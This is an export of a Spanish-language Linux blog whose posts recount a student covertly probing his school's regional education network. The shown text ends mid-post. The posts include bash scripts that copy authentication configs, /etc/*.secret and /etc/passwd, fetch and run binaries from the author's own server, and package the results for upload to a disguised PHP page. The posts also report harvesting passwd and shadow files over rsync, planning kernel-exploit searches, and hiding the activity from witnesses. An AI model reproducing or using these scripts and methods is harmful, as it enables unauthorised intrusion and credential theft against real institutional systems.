tag:blogger.com,1999:blog-29177308163528613722024-03-19T09:54:05.471+01:00Blog de un linuxeroNeobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.comBlogger112125tag:blogger.com,1999:blog-2917730816352861372.post-33749206862006277022007-11-12T17:54:00.000+01:002007-11-13T08:06:08.496+01:00Progresos en el centro tic<div style="text-align: justify;">Hola a todos, siento no haber podido escribir aun el post sobre el script que tenía preparado para la fonera, pero es que el instituto no me deja demasiado tiempo últimamente, examen de física, de lengua... en fin que ahora ando ocupado. De todas formas todavía tengo pendientes tres post, uno sobre el script de la fonera, otro sobre ion3 (un increíble escritorio para linux) y uno mas contando mi nuevo proyecto (es sobre programación). Sin embargo ahora os cuento lo que he hecho esta misma mañana en el centro tic, ya os he contado que en alternativa estamos en el aula de dibujo... bien, pues la gente ya se ha cansado de los ordenadores así que hoy he tenido uno de ellos a mi disposición, solo con dos testigos, ambos de confianza, uno si está interesado en el tema de la informática y tal, y el otro no, se puso a escuchar música en el mp3 y algunas veces usaba el ordenador un rato. Bueno yo lo primero que quise hacer fue descargar mi script, <span style="font-style: italic;">wget fon.gs/sh</span>, pero se ve que yo le cambiaría el nombre o algo hace tiempo, porque el script no se descargó. Sin embargo hay una extraña característica que no me gusta nada en 1and1 y no se como evitarla, el caso es que si tu pones algo y no lo encuentra a veces puede darte unas opciones de archivos que se parecen, para ver a que me refiero poner en el navegador <span style="font-style: italic;">fon.gs/sh</span> y veréis lo que os sale. Entonces yo vi ese archivo en la consola y me acordé de que <span style="font-style: italic;">script.sh.first</span> es el primer script que ejecuté en esos PCs y <span style="font-style: italic;">script.sh.work</span> la versión con la que yo estaba trabajando en mi red local, para pruebas, pero se parece demasiado a la versión definitiva, así que me descargué ese archivo. Intenté ejecutar dicho script pero daba un error en el bloque if, así que nada hice un <span style="font-style: italic;">cat script.sh</span> y miré lo que hacía para ir ejecutando las cosas manualmente, lo primero que hice fue mirar si yo tenía acceso a la intranet de la junta, así que vi en el script el nslookup que comprueba si el dns resuelve el nombre del servidor f0 de otro centro tic, así fue, aquí esta el resultado:<br /></div><br /><pre>$ nslookup c0.14704533.11.andared.cec.junta-andalucia.es<br />Server: 192.168.0.2<br />Address: 192.168.0.2#53<br /><br />Non-authoritative answer:<br />f0.14704533.11.andared.cec.junta-andalucia.es canonical name = ns.14704533.11.andared.cec.junta-andalucia.es.<br />Name: ns.14704533.11.andared.cec.junta-andalucia.es<br />Address: 10.53.110.130</pre><br /><div style="text-align: justify;">Como yo esperaba el nombre fue resuelto, pero ahí no estaba acabado tenía que comprobar el acceso a dicha ip: <span style="font-style: italic;">wget 10.53.110.130</span> y se descargo una página html! funcionó! rápidamente lo puse en el navegador para ver que efectivamente se trataba del centro tic que yo suponía y así era, tengo acceso a la intranet!! Bueno, realmente a vi la pagina web conectándome al c0 de dicho centro tic, no a f0, pero es que solo he guardado registro de la dirección de f0, aunque mi intención era guardar las dos, bueno sería un despiste, a este tema también hay que añadir que evidentemente se trata de una intranet porque la ip pertenece al rango usado en redes locales, y lógicamente no se puede acceder a ella desde el exterior.<br /><br />Mas cosas, ahora sobre nfs, los pcs si tienen showmount instalado, se ve que la primera vez que yo lo ejecuté habría algún error o algo, o quizás aquel pc por algún motivo no tenía el paquete (hoy he estado en el otro PC)... el caso es que hoy si ha funcionado así que he podido averiguar el directorio que se monta por nfs. Se trata del <span style="font-style: italic;">/home/nfs</span> de c0:<br /></div><br /><pre>$ showmount -e c0<br />Export list for c0:<br />/home/nfs 192.168.0.0/21</pre><br /><div style="text-align: justify;">Es lo único que me ha mostrado <span style="font-style: italic;">showmount,</span> (que en realidad es bastante).<br /><br />Ahora toca rsync, que hoy el día ha sido completito, aquí sobran palabras es más fácil poner los resultados:<br /></div><br /><pre>$ rsync f0::<br />boot <br />scripts <br />guadalinex2004<br />guadalinex2004-act1-wifi<br />guadalinex2004-act1-toshiba2<br />Samsung-x05_gl2_video</pre><br /><div style="text-align: justify;">Mira, parece interesante ahora os cuento que hay en cada carpeta, scripts, contiene los scripts que ya descargué del ftp el año pasado y ya he hablado de ellos en... bueno ahora no encuentro el/los post/s pero estoy seguro de que lo he comentado, si eso luego busco mejor y edito este post para enlazarlos. La carpeta boot, no me acuerdo lo que tiene, lo miré pero también se me paso guardar el log. La siguiente, guadalinex-2004 contiene los archivos de arranque, no se del mismo tipo que se pueden encontrar en un cd bootable o en un pendrive bootable, como también los tengo no me valen para nada. Las siguientes tres carpetas contienen a primera vista lo mismo:<br /></div><br /><pre>$ rsync f0::guadalinex-2004-act1-toshiba<br />drwxr-xr-x 4096 2006/07/04 16:34:39 .<br />-rw-r--r-- 3748 2005/05/12 13:44:13 .deb<br />lrwxr-xr-x 18 2006/06/27 16:52:37 vmlinuz<br />drwxr-xr-x 4096 2006/07/04 16:34:39 auto<br />drwxr-xr-x 4096 2006/07/04 16:34:39 bin<br />drwxr-xr-x 4096 2006/07/04 16:34:39 boot<br />drwxr-xr-x 4096 2006/07/04 16:34:39 cdrom<br />drwxr-xr-x 28672 2006/07/04 16:34:39 dev<br />drwxr-xr-x 8192 2006/07/04 16:34:39 etc<br />drwxr-xr-x 4096 2006/07/04 16:34:39 floppy<br />drwxr-sr-x 4096 2006/07/04 16:34:39 home<br />drwxr-xr-x 4096 2006/07/04 16:34:40 initrd<br />drwxr-xr-x 4096 2006/07/04 16:34:40 lib<br />drwxr-xr-x 4096 2006/07/04 16:34:40 lost+found<br />drwxr-xr-x 4096 2006/07/04 16:34:40 mnt<br />drwxr-xr-x 4096 2006/07/04 16:34:40 opt<br />drwxr-xr-x 4096 2006/07/04 16:34:40 proc<br />drwxr-xr-x 4096 2006/07/04 16:34:40 root<br />drwxr-xr-x 4096 2006/07/04 16:34:40 sbin<br />drwxr-xr-x 4096 2006/07/04 16:34:40 sys<br />drwxr-xr-t 4096 2006/07/04 16:34:40 tmp<br />drwxr-xr-x 4096 2006/07/04 16:34:40 usr<br />drwxr-xr-x 4096 2006/07/04 16:34:40 var</pre><br /><div style="text-align: justify;">Las otras dos tienen lo mismo solo con cambios en la hora, la carpeta <span style="font-style: italic;">Samsung</span>... también difiere de <span style="font-style: italic;">guadalinex-2004-*</span> en dos o tres cosas mas: <span style="font-style: italic;">.deb</span> que no lo tiene, tiene un fichero llamado <span style="font-style: italic;">vmlinuz.old</span>, no tiene el directorio <span style="font-style: italic;">auto,</span> y tampoco el directorio <span style="font-style: italic;">sys.</span> Esa son las diferencias. Yo vi ahí una oportunidad de oro para conseguir el passwd y el shadow. Mi intención aquí era también coger todos los que hubiera, sin embargo el de Samsung... se me ha olvidado. En cambio de <span style="font-style: italic;">guadalinex-2004-act1-*</span> los he cogido. No voy a postearlos aquí, pero si que los voy a comentar, tienen los mismos usuarios, sin embargo hay un par de diferencias, los usuarios usuario y profesor tienen uids y gids que difieren en una unidad, me refiero de un fichero a otro, en un passwd usuario es 1000 y en otro es 1001. Luego las contraseñas de los shadow, son cadenas distintas las que aparecen en los dos ficheros. Otra cosa que me ha llamado la atención es que es la de root y la de usuario y profesor no están cifradas con el mismo algoritmo. Root es DES y las otras dos md5. Eso es así en ambos ficheros shadows.<br /><br />Y ya solo me queda una cosa, el tema de los paquetes y del repositorio. He almacenado la caché de apt y también la lista de paquetes instalados en el pc. Existen paquetes muy interesantes, del estilo:<br /></div><br /><span style="font-style: italic;">cga-ldap-conf</span><br /><span style="font-style: italic;">cga-nfssyncd</span><br /><span style="font-style: italic;">cga-passphrase</span><br /><span style="font-style: italic;">libnss-ldap</span><br /><span style="font-style: italic;">libpam-ldap</span><br /><br /><div style="text-align: justify;">Y algunos mas que todavía no he mirado, pero todos los del cga los voy a mirar con lupa. Tengo una lista mas amplia después de una primera revisión, pero ahora mismo lo que me ha parecido mas interesante han sido esos. El primero es para la configuración de ldap, el segundo para "sincronización de escritorios remotos mediante nfs y rsync", el siguiente "Passphrase necesaria para la administración remota", y los dos siguientes son paquetes normales necesarios para la configuración de ldap, sin embargo lo curioso es que esos paquetes han sido creados por el cga, así que pueden incorporar algún regalito, esto me lo imagino por la versión de los paquetes: <span style="font-style: italic;">238-1ubuntu2-cga0</span> y <span style="font-style: italic;">178-1ubuntu3-cga0</span> respectivamente. Estos paquetes y quizás alguno mas cuando analice la lista con detenimiento, los descargaré del repositorio (f0) y los miraré con tranquilidad, porque seguro que dan algo útil.<br /><br />Pues nada ya os dejo que tengo que estudiar lengua y llevo una hora de retraso respecto a la hora a la que quería empezar, pero es que tenía muchas ganas de contaros esto :D<br /><br />PD: Es posible que el post tenga algunas faltas y fallos de formato, ya si eso luego lo reviso despacio, que no quiero perder mas tiempo que tengo que irme a estudiar ya ;)<br /></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com40tag:blogger.com,1999:blog-2917730816352861372.post-30320661680751168592007-11-08T16:05:00.000+01:002007-11-09T12:26:29.493+01:00Lunes de scripts<div style="text-align: justify;">Este año en alternativa (no doy religión) nos meten en el aula de dibujo, es una hora a la semana, los lunes y lo mejor es en ese aula al final hay un par de PCs de sobremesa conectados a la red TIC, aparentemente configurados del mismo modo que los portátiles, lo de la red tic lo se porque tienen acceso a f0 y c0, lo otro lo supuse porque están en manos del CGA, el primer día que lo usé salió un mensaje en el área de notificación que ponía mas o menos "el equipo va a ser actualizado por el CGA", así que si la configuración no es exactamente la misma debería parecerse bastante. Este par de PCs dan muchas posibilidades, podría ver si arrancan desde usb y de ser así hacerme root, podría intentar lo del netboot, podría ejecutar scripts en él, etc.<br /></div><div style="text-align: justify;"><br />La primera vez que lo cogí no hice prácticamente nada, además no tenía ningún sitio donde guardar los resultados, porque el ftp está capado. Sin embargo para el lunes siguiente se me ocurrió montarlo un poco mejor, en mi hosting de 1and1, puse una página php que me permite subir archivos, así puede enviar los resultados independientemente de que el ftp esté cerrado. El código php lo busqué en google, porque yo no se php así que lo de programarlo yo mismo chungo. Además de eso el script a ejecutar lo puse en el server también para descargarlo desde el PC del instituto.<br /><br />El código php lo encontré vía google, llegué al blog <a href="http://blog.unijimpe.net/">unijimpe.net</a>, que tiene un <a href="http://blog.unijimpe.net/upload-de-archivos-con-php/">post</a> comentando precisamente ese tema.<br /><br />Aunque lo modifiqué un poco (la parte html) para que solo mostrará lo imprescindible, para que cuando lo usara en el instituto no mostrara nada mas que el cuadro de texto con el botón examinar para elegir en archivo y el botón upload. El original tiene un título llamativo, además muestra los archivos que ya se han subido, y creo que poco mas, pero llama mas la atención. El código (el modificado por mi, no el original) no lo voy a poner aquí directamente es un poco largo, lo podéis ver <a href="http://neobius.es/upload/upload.php.txt">en mi server</a>, el original está en el post que comento antes.<br /><br />Esa parte de la infraestructura ya esta lista, ya puedo subir los resultados, pero los resultados de qué? He hecho dos scripts, uno lo he ejecutado ya, el otro no. El que he ejecutado lo que hace es copiar la configuración de ldap, y ya que estamos<br />copia la los archivos de configuración de pam, para ver como están configurado lo de la autenticación ldap. Ejecuta <span style="font-style: italic;">showmount</span> para ver que directorios del servidor NFS se pueden montar. Además copia la configuración de la red. También ejecuta <span style="font-style: italic;">uname -a</span> para posteriormente buscar algún posible exploit (esto no lo hace el script, lo del exploit lo hago yo en securityfocus...). Por último lo comprime todo en un tar.gz y ese archivo es el que yo subo manualmente a mi server.<br /><br />El script en cuestión es éste:<br /></div><pre>#!/bin/bash<br />mkdir ~/logs<br />mount > ~/logs/mount<br /><br /># ldap backup<br />cp -R /etc/pam.d ~/logs<br />cp /etc/*.secret ~/logs/<br />cp -R /etc/ldap ~/logs<br />cp /etc/nsswitch.conf ~/logs<br />cp /etc/libnss-ldap.conf ~/logs<br />cp /etc/passwd ~/logs<br />cp /etc/pam_ldap.conf ~/logs<br /><br /># nfs directories<br />showmount -e f0 > ~/logs/showmount.f0<br />showmount -a f0 >> ~/logs/showmount.f0<br />showmount -e c0 > ~/logs/showmount.c0<br />showmount -a c0 >> ~/logs/showmount.c0<br /><br /># net config<br />ifconfig -a > ~/logs/ifconfig<br />iwconfig > ~/logs/iwconfig<br />cp /etc/network/interfaces ~/logs/net.interfaces<br />route > ~/logs/route<br /><br /># other<br />uname -a > ~/logs/uname<br /><br />tar -czvf ~/logs.tar.gz ~/logs/*<br /></pre><br /><div style="text-align: justify;">Para terminar la faena hice dos redirecciones al estilo tinyurl para acortar la dirección, pero lo hice con fon.gs, que ya de por si es corto, y ademas permite elegir el nombre del enlace, yo puse script y upload, pero me pareció que quedaría mejor mas corto así que al final me quedé con sh y up. De modo que quedaron estas dos url: <a href="http://fon.gs/sh">fon.gs/sh</a> y <a href="http://fon.gs/up">fon.gs/up</a>. La primera es el script y la segunda la pagina a la que subo el resultado.<br /><br />Ya el resto era fácil solo era ejecutar en pc del instituto:<br /><br /><span style="font-style: italic;">$ wget fon.gs/sh</span><br /><span style="font-style: italic;">$ sh script.sh</span><br /><br />Y subir a fon.gs/up el archivo <span style="font-style: italic;">~/logs/logs.tar.gz</span>.<br /><br />En realidad no fue tan fácil, el primer día cuando estuve mirando manualmente algunas cosas, se acercó mucha gente a los PCs (solo hay dos en ese aula) y no me hacía ninguna gracia que la gente se diera cuenta de todo, así que paré, de hecho la idea de los scripts fue para hacer las cosas mas rápido y acabar prácticamente nada mas empezar. El siguiente lunes, era cuando iba a ejecutar este plan, pensaba hacerlo nada mas entrar, ir rápidamente a un PC y ejecutarlo antes de que la gente se acercara, pero no fue así, la gente fue nada mas entrar, así que plan destrozado, sin embargo pensé que el final de la hora, justo cuando acaba la clase y la gente se levanta y se va, podía hacerlo en pocos segundos y apagar yo el ordenador. Así fue, cuando acabo la hora la gente se levantó y fue hacia la puerta pero yo al que estaba en el pc le dije, espera no lo apagues! y lo hice todo. Al final solo un testigo, bastante mejor que los 10 o 15 que podría haber tenido.<br /><br />Los resultados que revisé en mi casa, fueron... digamos inesperados. LDAP no estaba configurado, los ficheros de configuración eran los que aparecían por defecto, así que sigo sin saber nada sobre ldap, se ve que estos dos pcs no están configurados en ese aspecto, los portátiles si lo estarán porque los servidores tienen el servicio ldap funcionando. Respecto al archivo <span style="font-style: italic;">/etc/passwd,</span> simplemente lo copié para ver si el usuario root esta deshabilitado o no en ese fichero, y no, lo que aparece es una <span style="font-style: italic;">x</span>, es decir, hay que recurrir a <span style="font-style: italic;">shadow</span>.<br /><br />Respecto al <span style="font-style: italic;">showmount</span>, no valió para nada, no estaba instalado el paquete <span style="font-style: italic;">nfs-common</span> o <span style="font-style: italic;">nfs-utils</span>, se ve que tampoco tienen nfs estos pcs. Desde luego si están en manos del CGA no se porque no están igual que los portátiles, y si están en manos del instituto... pues simplemente no veo nadie capaz de hacerlo.<br /><br />La red no dio ninguna sorpresa, está conectado por wifi a la red <span style="font-style: italic;">Andared</span> (la misma que usan los portátiles. Por último el <span style="font-style: italic;">uname,</span> este fue el resultado:<br /><br /><span style="font-style: italic;">Linux pc226-1 2.6.12-10-686 #1 Thu Dec 22 11:55:07 UTC 2005 i686 GNU/Linux</span><br /><br />Todavía no he hecho ninguna búsqueda intensiva de exploits, pero quizás haya alguno útil....<br /><br />Después de estos resultados el siguiente domingo preparé otro script para el lunes correspondiente, de hecho valoré la posibilidad de dejar la fonera y hacerlas cosas en esos PCs, ahorrándome las pilas, la fonera y la fontenna y los problemas de espacio, pero esa posibilidad la vi rápidamente frustrada el lunes siguiente. Precisamente por el problema que he contado antes, como solo hay dos pcs en el aula mucha gente se pone en torno a ellos, así que he decidido dejar ese tema, volveré a la fonera.<br /><br />Para el siguiente lunes, el script que tenía preparado lo que hacía era intentar de nuevo lo del <span style="font-style: italic;">showmount</span>, pero esta vez descargando el ejecutable primero, también uso <span style="font-style: italic;">rsync</span> para ver cuales son los directorios "sincronizables" del servidor, intento resolver dos nombres (dns) de servidores que corresponden a otro centro tic de mi ciudad, lo hago para ver si existe alguna intranet a la que yo pueda acceder fácilmente o si solo desde Sevilla tienen tienen acceso a todo (CGA), también intenta descargar el <span style="font-style: italic;">index.html</span> del c0 del otro centro tic, porque a lo mejor el dns me lo resuelve pero no tengo acceso. Luego hace un <span style="font-style: italic;">dpkg -l</span> y guarda el resultado, todo esto lo comprime en <span style="font-style: italic;">~/logs/logs.tar.gz.</span> Pero al script le queda una cosa más, copia la cache de apt, bueno en realidad no se si se llama así, me refiero a los archivos que descarga de cada repositorio cuando haces un <span style="font-style: italic;">apt-get update</span>, los que tienen las listas de archivos, esto lo descargo para saber si tienen algo útil, porque en el hipotético caso de que yo fuera root podría instalar todo y si esta en el repositorio mejor. Esto va al fichero <span style="font-style: italic;">~/logs/apt.tar.gz,</span> creo que no lo he dicho antes, el carácter ~, simboliza el /home del usuario, por ejemplo si yo pongo en mi pc <span style="font-style: italic;">cd ~/logs</span>, es como <span style="font-style: italic;">cd /home/neobius/logs</span>.<br /></div><br />El script es este:<br /><br /><pre>#!/bin/bash<br />rm -r ~/logs<br />mkdir ~/logs<br /><br />wget http://neobius.es/sh/showmount<br />chmod +x showmount<br /><br />RSYNC=$(ls /usr/bin/rsync)<br />RSYNC2=/usr/bin/rsync<br />if [ "$RSYNC" == "$RSYNC2" ]; then<br />rsync 192.168.0.1:: > ~/logs/rsync;<br />else<br />wget http://neobius.es/sh/rsync<br />chmod +x rsync<br />./rsync 192.168.0.1:: > ~/logs/rsync;<br />fi<br /><br />./showmount -e 192.168.0.2 > ~/logs/showmount<br />echo -e "\r" >> ~/logs/showmount<br />./showmount -a 192.168.0.2 >> ~/logs/showmount<br /><br />nslookup c0.14704533.11.andared.cec.junta-andalucia.es 192.168.0.1 > ~/logs/dns1<br />nslookup c0.14704533.11.andared.cec.junta-andalucia.es 192.168.0.2 > ~/logs/dns2<br />wget http://c0.11700603.11.andared.cec.junta-andalucia.es -O ~/logs/intranet<br /><br />dpkg -l > ~/logs/packets<br /><br />tar -czvf ~/logs/logs.tar.gz ~/logs/*<br /><br />cp -r /var/lib/apt/ ~/logs/<br />tar -czvf ~/logs/apt.tar.gz ~/logs/apt/*</pre><br /><div style="text-align: justify;">Ya lo he explicado antes, pero voy a añadir algunos detalles, lo primero es descargar <span style="font-style: italic;">showmount,</span> que esperé que funcionara, primero cogí el del paquete de ubuntu <span style="font-style: italic;">nfs-common,</span> y lo iba a dejar así cuando se me ocurrió arrancar el live cd de guadalinex v3 en vmware y probarlo... no funcionó, el ejecutable creo que daba algún error de libc o algo parecido. Pero eso tiene fácil solución, en vez de usar el paquete de ubuntu uso el del repositorio de guadalinex, dicho y hecho, después ya funcionó. Luego se le dan permisos y se ejecuta solo hacia el servidor que tiene nfs corriendo (c0). Si os fijáis he ejecutado el mismo comando con la opción <span style="font-style: italic;">-e</span> y luego <span style="font-style: italic;">-a</span>. El primero muestra la <span style="font-style: italic;">export list</span>, los directorios que se pueden montar, el segundo muestra toda la información (all), incluso que directorios están montados y por quién. Un ejemplo en mi red local (<span style="font-style: italic;">debian</span> es mi server):<br /></div><br /><pre># showmount -e 192.168.0.6<br />Export list for 192.168.0.6:<br />/media/home 192.168.0.0/255.255.255.0<br /># showmount -a 192.168.0.6<br />All mount points on 192.168.0.6:<br />192.168.0.0/255.255.255.0:/media/home<br />192.168.0.10:192.168.0.0/255.255.255.0<br />192.168.0.11:/media/home<br />192.168.0.11:192.168.0.0/255.255.255.0<br />192.168.0.21:192.168.0.0/255.255.255.0<br />192.168.0.5:192.168.0.0/255.255.255.0</pre><br /><div style="text-align: justify;">Ahora vamos con el tema del <span style="font-style: italic;">rsync,</span> imagino que muchos ya lo conoceréis porque creo que ya he hablado de él por aquí, pero por si acaso os lo cuento, simplemente permite sincronizar directorios locales o remotos, por ejemplo yo tengo en mi servidor el directorio <span style="font-style: italic;">/media/almacen/trabajos</span> y ahí tengo una carpeta por asignatura y dentro de cada los trabajos y también algunos archivos de texto con links que me resultó útil consultar al estudiar el tema (en realidad no lo tengo, es un ejemplo inventado) y quiero hacer un backup en mi portátil, o quiero copiarlo todo para ver mis trabajos, o lo que sea, el caso es que copia la carpeta entera con lo que tenga dentro. Imaginaros las utilidades que queráis a mi la principal que se me ocurre es backups y mirroring, que es lo que hace el repositorio de guadalinex, quien quiera hacer un mirror copia todo el repositorio con rsync. Volvemos al script, comprueba si el archivo existe en el pc, si existe lo usa, sino lo descarga y lo ejecuta contra f0, que es quien tiene el servicio corriendo. Como os he dicho antes el repositorio guadalinex lo usa, así que lo usaremos para ilustrar la entrada:<br /></div><br /><pre># rsync pool.guadalinex.org::<br /><br /><br /> Repositorios de Guadalinex<br /><br /><br />Esta máquina contiene los siguientes repositorios:<br /><br /> * Guadalinex-liron (v1.0)<br /> * Guadalinex-muflon (v2004)<br /> * Guadalinex-flamenco (V3)<br /> * Guadalinex-toro (V4)<br /> * Ubuntu's (breezy, dapper y edgy)<br /><br /><br /><br /><br /><br />guadalinex-flamenco Mirror de Guadalinex v3 (Flamenco)<br />guadalinex-toro Mirror de Guadalinex v4 (Toro)<br />ubuntu Mirrors de Ubuntu (breezy, dapper y edgy)<br />mirror Repositorio oficial de Guadalinex 2004<br />guadalinex Repositorio oficial de Guadalinex 1.0<br />guadalinex-descargas Descargas de Guadalinex (isos, documentacion, etc)</pre><br /><div style="text-align: justify;">Cuando se ejecuta sin indicarle ningún directorio nos muestra cuales son los que se pueden sincronizar y eso es lo que yo quiero ver en f0.<br /><br />Ahora toca lo de <span style="font-style: italic;">nslookup</span> y <span style="font-style: italic;">wget,</span> ya os he contado antes para que es, pero voy a añadir una cosa, la dirección es ésta:<br /></div><br /><span style="font-style: italic;">c0.14704533.11.andared.cec.junta-andalucia.es</span><br /><div style="text-align: justify;"><br />Lo primero puede cambiar c0, f0 y pc-xxx (xxx es un número), es decir la a juzgar por los nombres deberían de ser accesibles desde el exterior. A continuación viene el código del centro que sea (ese no es el mio, el código es inventado), a continuación viene un número que yo diría es el código de provincia, y que se saca del número anterior, pues todos los de Cádiz empiezan por 11, en Jaén por 23, en Sevilla por 41, etc. Y lo último es un nombre fijo, por cierto el nombre junta-andalucia.es no se resuelve desde el exterior, me lo apunto para la próxima, a ver si desde dentro ese dominio apunta a algún sitio.<br /><br />Ya para acabar lo del <span style="font-style: italic;">apt,</span> y <span style="font-style: italic;">dpkg,</span> nada que añadir.<br /><br />El script como os he dicho antes no lo he podido ejecutar y seguramente no lo haré en esos PCs, de hecho como ya os dije en el post anterior tengo un script listo para la fonera, pero eso os lo cuento en el siguiente post. La idea inicial de lunes de scripts, queda anulada, no puedo llevarla a cabo, así que habrá que contar con las complicaciones de la fonera. Fue bonito mientras duró, esos pcs abrían bastantes puertas, pero no han servido para nada :(<br /><br />PD: Ahora que me acuerdo ahora en matemáticas creo que vamos a dar geometría y creo que vamos a usar los portátiles por parejas con el programa <a href="http://www.geogebra.org/cms/">geogebra</a>, así que igual puedo retomar lo de los scripts y usarlos en los portátiles...<br /><br />PD2: He hecho un cambio de estilo, los script en vez de ponerlos en cursiva los he puesto usando el tag html "pre" ya veis el resultado, que os parece?<br /></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com5tag:blogger.com,1999:blog-2917730816352861372.post-65763740342284857712007-11-08T15:17:00.000+01:002007-11-08T15:53:06.517+01:00Sigo vivo<div style="text-align: justify;">Hola a todos, hace mas de un mes que no escribo, pero todavía estoy vivo, he tenido un mes movidito con el instituto, he tenido que hacer un trabajo sobre hardware (dispositivos de entrada, salida, e/s) que me ha ocupado unas 25 páginas de las que he escrito yo cada coma, no iba a copiarlo como ha hecho la mayoría... y la mayoría han suspendido. Ese trabajo me quitó muchas tardes, también dibujo técnico ha tenido mucha culpa, el primer tema ha sido a un ritmo trepidante, nos mandaba 5 ó 6 ejercicios al día, y eso o lo hacías cada tarde (tengo dibujo 4 días a la semana) o no hay manera, después el examen de dibujo que le dio la gana de ponerlo por la tarde "porque en una hora no da tiempo a hacerlo", ole sus c*j*n*s. Y más cosas, como leerse un libro para lengua, etc. pero tampoco voy a contaros toda mi vida escolar, que esto un blog sobre linux :D<br /><br />Con el poco tiempo que he ido teniendo he intentado avanzar un poco, de hecho tengo preparado otro script para la fonera y he preparado dos script para PCs del instituto, pero solo he podido ejecutar uno de los dos. Bueno como no quiero escribir un post larguísimo que cuente las dos cosas a la vez, termino este post aquí y os cuento las dos cosas en dos post separados que me pongo a escribir ahora (espero acabarlos hoy, pero tengo que estudiar física...).<br /><br />Antes de acabar el post voy a añadir una cosa que me ha llamado la atención, la cantidad de visitas que recibo a través de google (bueno en realidad son pocas, pero es bastante mas de las que recibo de mis lectores fieles), de hecho durante todo el mes que no he actualizado el blog no solo no han caído las visitas, si no que han aumentado, en septiembre tuve un total de 1837 visitas y en octubre 2803. Y por cierto, tengo 52 personas suscritas a mi feed (de feedburner, al de blogger no lo sé) :D vale, ya se que es muy poco, pero alegra saber que tienes 52 lectores que no te han eliminado de su lector de feeds por llevar un mes si actualizar. Ahora si acabado el post, me pongo a escribir los otros y prometo intentar recuperar el ritmo de nuevo.<br /></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com10tag:blogger.com,1999:blog-2917730816352861372.post-2424614672653565082007-09-27T20:34:00.000+02:002007-09-28T19:11:40.667+02:00Primer scaneo al centro tic<div style="text-align: justify;">Desde el jueves no actualizo el blog, pero estoy por aquí de nuevo. El lunes finalmente volví al instituto, bueno el lunes realmente fue la presentación, nos dijeron a que grupo vamos cada uno (este año hay tres 1º de bachillerato), nos dieron el horario y poco mas. El martes no me llevé la fonera, porque la mochila no hacía falta y llamaría un poquito la atención. El miércoles si que me lleve la fonera, el portapilas, cuatro pilas nuevas en su funda y la fontenna, es la antena mas robusta que tengo y no me hace gracia meter una omnidireccional en la mochila, no veo la mochila como el lugar mas seguro, así que la fontenna aguantaría mejor hipotéticos golpes. La fontenna la he montado en la mochila en la parte donde van los libros, mi mochila solo tiene dos "bolsillos", uno grande para los libros y delante uno pequeño que yo uso para llevar calculadora, boli, etc. la fontenna la he pegado con papel celo (de ese de plástico que sirve para pegar), está ahí fija con el cable liado entorno a ella en forma de circulo. He hecho un pequeño agujero para poder pasar el cable al otro bolsillo, donde va la fonera. No se si me entendéis, quizás luego suba alguna foto. Bueno sigo con la historia, el miércoles no lo hice porque no vi el momento de colocar las pilas, que prefiero que no se entere mucha gente y sacar un portapilas y 4 pilas es un descaro. Además en mi clase no me puedo fiar de mucha gente, si se entera algún amigo accidentalmente pues no me molestaría demasiado, pero es que en mi clase somos 29 alumnos y ahí 17 nuevos!!! Pues eso que ese día no tuve oportunidad de hacerlo sigilosamente así directamente no lo hice.<br /><br />El jueves cambió la cosa, yo quería hacerlo desde mi clase, que tiene su AP wireless puesto y quería como mínimo tenerlo una hora fijo en un mismo lugar, por aquello de no perder la conexión con el AP, que con el lío de routers wifi que hay... han puesto prácticamente uno por clase y algunos están pared con pared, así que el tema de moverme... lo mínimo, como todos los AP tienen el mismo essid y están a dos pasos uno de otro mejor que se quede conectado a uno solo. La idea entonces era poner las pilas en el portapilas sin que se diera cuenta nadie y conectarlo, fácil no? pues no, pero pensando al final di con el momento ideal, tercera hora, tocaba dibujo técnico y yo estoy al final de la clase. Justo antes de que terminara clase puse las pilas pero sin conectarlo a la fonera, me fui deprisa a mi clase (ahora tocaba inglés) y lo conecté al llegar, lo deje encendido hasta que se apago (2 horas o 2 horas y media), esta tarde he comprobado que solo tardó 28 minutos. Cuando acabo la hora moví la mochila por el instituto, por necesidad, no por gusto, pero afortunadamente había acabado ya.<br /><br />Por la tarde, en mi casa, conecté la fonera a mi router y a la corriente eléctrica para ver los resultados. Me conecté por ssh a la fonera y a mi cuenta ssh en el servidor de 1and1.es para comprobar si los datos se habían subido correctamente al ftp. No estaban, el ftp estará bloqueado en el firewall. Luego ya en la fonera tuve la suerte de contar con un backup comprimido de todos los datos (el archivo <span style="font-style: italic;">logs.tar.gz</span> que debería haberse subido al ftp). Como el script se autoejecuta en el arranque el fichero <span style="font-style: italic;">date</span> (el que controla el tiempo) había sido sobreescrito y el fichero que guarda los que muestra en pantalla el script al ejecutarse (<span style="font-style: italic;">dump</span>) también fue sobreescrito<hints id="hah_hints"></hints>. Copié los logs al portátil y me puse a mirarlos, todo lo demás excepto el <span style="font-style: italic;">traceroute</span> a <span style="font-style: italic;">google.es</span> fue bien.<br /><br />No voy a poner todos los logs tal cual porque pueden desvelar de que instituto soy y quiero mantener un mínimo de privacidad, pero si los voy a comentar. Vamos por el orden en que se ejecutan las cosas, primero miré el tiempo, el fichero <span style="font-style: italic;">date</span> contiene esto:<br /><br /><span style="font-style: italic;">Sat Jan 1 00:01:06 UTC 2000</span><br /></div><span style="font-style: italic;"></span><span style="font-style: italic;">Sat Jan 1 00:01:35 UTC 2000<br /></span><span style="font-style: italic;">Sat Jan 1 00:27:57 UTC 2000<br /><br /></span>Se ejecuta 1 minuto después del arranque y pocos segundos después ya estaba conectada a la red, y finalmente acabo todo en 28 minutos, no está mal, mas o menos lo mismo que mi red.<br /><div style="text-align: justify;"><br />Los ficheros <span style="font-style: italic;">iwconfig</span> y <span style="font-style: italic;">ifconfig</span> confirman que efectivamente ya estaba conectada a la red. Un detalle importante en el que me fijaré para la próxima ejecución (espero que la semana que viene) es la configuración de la red:<br /></div><br /><span style="font-style: italic;">inet addr:192.168.1.204 Bcast:192.168.3.255 Mask:255.255.252.0</span><br /><br /><div style="text-align: justify;">Con eso sabemos que las ips van desde <span style="font-style: italic;">192.168.0.1</span> hasta <span style="font-style: italic;">192.168.3.254,</span> tendré que scanear esos rangos. De hecho el año pasado el router de mi antigua clase (ahora estoy en la otra punta del instituto, asignaba ips del rango 192.168.3.x, por lo que seguramente habrá hosts en todos los rangos.<br /><br />El scaneo tcp a todos los puertos de <span style="font-style: italic;">f0</span> devolvió un resultado que no esperaba:<br /><br /><span style="font-style: italic;">PORT STATE SERVICE</span><br /></div><span style="font-style: 